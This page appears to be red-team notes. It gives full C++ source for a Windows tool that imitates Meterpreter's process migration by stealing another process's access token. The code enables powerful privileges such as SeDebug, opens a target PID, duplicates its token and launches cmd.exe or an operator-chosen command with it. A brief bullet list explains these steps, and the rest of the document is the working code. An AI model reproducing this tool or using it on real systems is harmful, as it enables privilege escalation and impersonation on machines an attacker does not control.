Process migration like meterpreter
Those are some of the things the code is doing:
Check if the migrate.exe process is running with the privileges of the “nt authority\system” user. We need it for future impersonation functionality.
Open Handle to the wanted process (this is the PID of the process we want to steal the privilege tokens from).
Duplicate their tokens (privileges in windows system was managed by tokens).
If the duplication was successful it tries to run new process by using these duplicated tokens.
#include <windows.h>
#include <wchar.h>
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
using namespace std;
void usage(char *name)
{
cout << "(-) Ex.: " << name << " <PID> :: for open cmd.exe with new privilages.\n";
cout << "(-) Ex.: " << name << " <PID> \"<command>\" :: for execute command by priveleges of requested PID.\n";
}
BOOL SetPrivilege(HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable or disable privilege )
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{
printf("\t(-) LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL))
{
printf("\t(-) AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("\t(-) The token does not have the specified privilege. ");
return FALSE;
}
return TRUE;
}
BOOL check()
{
BOOL result = TRUE;
BOOL bResult;
HANDLE fhToken;
LUID fLuid;
PRIVILEGE_SET privs;
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &fhToken);
wchar_t *cPrivs[] = { L"SeAssignPrimaryTokenPrivilege", L"SeTcbPrivilege" };
for (int i = 0; i < 2; i++)
{
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
(LPCTSTR)cPrivs[i], // privilege to lookup
&fLuid)) // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %u\n", GetLastError());
ExitProcess(0);
}
privs.PrivilegeCount = 1;
privs.Control = PRIVILEGE_SET_ALL_NECESSARY;
privs.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED;
privs.Privilege[0].Luid = fLuid;
PrivilegeCheck(fhToken, &privs, &bResult);
if (!bResult)
{
wprintf(L"\t(-) The process dosn't have the %s\n\n", cPrivs[i]);
result = FALSE;
}
}
return result;
}
int main(int argc, char *argv[])
{
DWORD flag;
if (argc <= 1 || argc >= 4)
{
usage(argv[0]);
exit(0);
}
char *command;
if (argc > 2)
{
command = argv[2];
flag = CREATE_NO_WINDOW;
}
else
{
command = "cmd.exe";
flag = 0;
}
DWORD pid = atoi(argv[1]);
cout << "\n[***] Starting the migrate functionality, requested PID => " << pid << " [***]\n";
cout << "(!) Check if the process have an required permissions...\n";
Sleep(1000);
if (!check())
{
cout << "(!) Trying to set the necessary privileges.\n";
HANDLE currentProcessToken;
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, ¤tProcessToken);
wchar_t *privs[9] = {L"SeAssignPrimaryTokenPrivilege", L"SeTcbPrivilege", L"SeCreateGlobalPrivilege", L"SeDebugPrivilege", L"SeImpersonatePrivilege", L"SeIncreaseQuotaPrivilege", L"SeProfileSingleProcessPrivilege", L"SeSecurityPrivilege", L"SeSystemEnvironmentPrivilege"};
for (int i = 0; i < 9; i++)
{
if (!SetPrivilege(currentProcessToken, privs[i], true))
{
wprintf(L"Access denied to set %s \n", privs[i]);
cout << "\t(-) You does not have the specified privilege. Migration aborted.\n";
ExitProcess(0);
}
}
}
cout << "\t(+) All required Permissions was successfull granted.\n\n";
cout << "(!) Trying to open Handel for requested PID.\n";
Sleep(1000);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) {
cout << "\t(-) Can not open handle for requested PID";
ExitProcess(0);
}
cout << "\t(+) The HANDLE was created success.\n\n";
cout << "(!) Try to Duplicte existen tokens of the requested PID " << pid << "\n";
HANDLE NewTokens;
if (!OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &NewTokens))
{
cout << "\t(-) Denied to handle Process Tokens\n";
ExitProcess(0);
}
cout << "\t(+) Extracting tokens was successfull\n";
Sleep(500);
HANDLE hPrimaryToken;
if (!DuplicateTokenEx(NewTokens, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hPrimaryToken))
{
cout << "\t(-) Denied to Duplicate process Tokens\n";
}
cout << "\t(+) Duplicate tokens was successfull\n\n";
Sleep(1000);
cout << "(!) Try to execute new process with duplicated tokens.\n";
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.lpDesktop = L"WinSta0\\Default"; //window station and desktop of interactive user
ZeroMemory(&pi, sizeof(pi));
wchar_t cmd[500];
swprintf_s(cmd, L"cmd.exe /c %hs", command);
Sleep(500);
if (!CreateProcessWithTokenW(hPrimaryToken, 0x00000001, NULL, (LPWSTR)cmd, flag, NULL, NULL, &si, &pi))
{
cout << "\t(-) Somthing went wrong!!! \n\t";
printf(" -Can't create new process with Extracted tokens, got error: %u\n", GetLastError());
ExitProcess(0);
}
cout << "[***] We successfuly Migrated to requested PID. [***]\n";
if (command != argv[2])
{
cout << "[***] The CMD console with new privilages was opened. [***]\n";
}
else
{
cout << "[***] Command was executed succesfully!!! [***]";
}
return 0;
}
Last updated